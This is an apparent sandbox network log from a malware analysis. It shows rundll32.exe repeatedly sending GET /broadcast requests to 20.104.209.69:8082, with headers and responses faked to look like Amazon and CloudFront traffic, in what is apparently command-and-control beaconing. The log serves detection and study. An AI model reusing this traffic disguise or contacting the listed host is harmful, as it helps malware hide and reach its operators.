Jan 8, 2023 16:09:31.104876041 CET	1475	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:31.224612951 CET	1475	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:22 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
349	192.168.2.6	50048	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:31.475339890 CET	1478	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:31.593703985 CET	1479	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:22 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.6	49733	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:13.604628086 CET	467	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:13.723809004 CET	468	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:04 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
350	192.168.2.6	50049	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:31.862716913 CET	1481	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:31.981049061 CET	1482	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:23 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
351	192.168.2.6	50050	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:32.251926899 CET	1485	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:32.369888067 CET	1485	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:23 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
352	192.168.2.6	50051	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:32.629189014 CET	1488	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:32.746789932 CET	1488	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:24 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
353	192.168.2.6	50052	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:33.015753984 CET	1491	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:33.133333921 CET	1491	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:24 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
354	192.168.2.6	50053	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:33.395319939 CET	1494	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:33.513932943 CET	1494	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:24 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
355	192.168.2.6	50054	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:33.769857883 CET	1497	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:33.890407085 CET	1498	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:25 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
356	192.168.2.6	50055	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:34.152487040 CET	1500	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:34.270924091 CET	1501	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:25 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
357	192.168.2.6	50056	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:34.538486004 CET	1504	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:34.657319069 CET	1504	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:25 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
358	192.168.2.6	50057	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:34.926742077 CET	1507	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:35.046984911 CET	1507	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:26 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
359	192.168.2.6	50058	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:35.303591013 CET	1510	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:35.422169924 CET	1510	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:26 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.6	49734	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:14.040615082 CET	471	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:14.158739090 CET	471	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:05 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
360	192.168.2.6	50059	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:35.689373016 CET	1513	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:35.808785915 CET	1513	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:27 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
361	192.168.2.6	50060	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:36.074076891 CET	1516	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:36.194626093 CET	1517	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:27 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
362	192.168.2.6	50061	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:36.461913109 CET	1519	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:36.579870939 CET	1520	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:27 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
363	192.168.2.6	50062	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:36.865431070 CET	1522	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:36.984056950 CET	1523	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:28 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
364	192.168.2.6	50063	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:37.238603115 CET	1526	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:37.358166933 CET	1526	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:28 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
365	192.168.2.6	50064	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:37.639838934 CET	1529	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:37.759403944 CET	1529	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:29 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
366	192.168.2.6	50065	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:38.021748066 CET	1532	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
